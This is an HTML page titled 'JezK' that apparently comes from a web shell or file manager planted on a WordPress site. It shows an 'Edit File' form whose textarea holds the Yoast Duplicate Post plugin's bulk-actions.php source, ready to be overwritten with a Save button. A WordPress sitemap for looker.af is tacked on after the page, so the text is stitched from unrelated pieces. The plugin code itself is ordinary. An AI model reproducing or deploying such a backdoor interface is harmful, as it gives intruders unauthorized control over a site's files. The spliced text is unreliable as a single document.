
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: bulk-actions.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Yoast\WP\Duplicate_Post\UI;

use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the bulk actions menu.
 */
class Bulk_Actions {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The permissions helper.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this-&gt;permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( \intval( Utils::get_option( &#039;duplicate_post_show_link_in&#039;, &#039;bulkactions&#039; ) ) === 0 ) {
			return;
		}

		\add_action( &#039;admin_init&#039;, [ $this, &#039;add_bulk_filters&#039; ] );
	}

	/**
	 * Hooks the function to add the Rewrite &amp; Republish option in the bulk actions for the selected post types.
	 *
	 * @return void
	 */
	public function add_bulk_filters() {
		if ( ! $this-&gt;permissions_helper-&gt;is_current_user_allowed_to_copy() ) {
			return;
		}

		$duplicate_post_types_enabled = $this-&gt;permissions_helper-&gt;get_enabled_post_types();
		foreach ( $duplicate_post_types_enabled as $duplicate_post_type_enabled ) {
			\add_filter( &quot;bulk_actions-edit-{$duplicate_post_type_enabled}&quot;, [ $this, &#039;register_bulk_action&#039; ] );
		}
	}

	/**
	 * Adds &#039;Rewrite &amp; Republish&#039; to the bulk action dropdown.
	 *
	 * @param array $bulk_actions The bulk actions array.
	 *
	 * @return array The bulk actions array.
	 */
	public function register_bulk_action( $bulk_actions ) {
		$is_draft_or_trash = isset( $_REQUEST[&#039;post_status&#039;] ) &amp;&amp; \in_array( $_REQUEST[&#039;post_status&#039;], [ &#039;draft&#039;, &#039;trash&#039; ], true );

		if ( \intval( Utils::get_option( &#039;duplicate_post_show_link&#039;, &#039;clone&#039; ) ) === 1 ) {
			$bulk_actions[&#039;duplicate_post_bulk_clone&#039;] = \esc_html__( &#039;Clone&#039;, &#039;duplicate-post&#039; );
		}

		if ( ! $is_draft_or_trash
			&amp;&amp; \intval( Utils::get_option( &#039;duplicate_post_show_link&#039;, &#039;rewrite_republish&#039; ) ) === 1 ) {
			$bulk_actions[&#039;duplicate_post_bulk_rewrite_republish&#039;] = \esc_html__( &#039;Rewrite &amp; Republish&#039;, &#039;duplicate-post&#039; );
		}

		return $bulk_actions;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
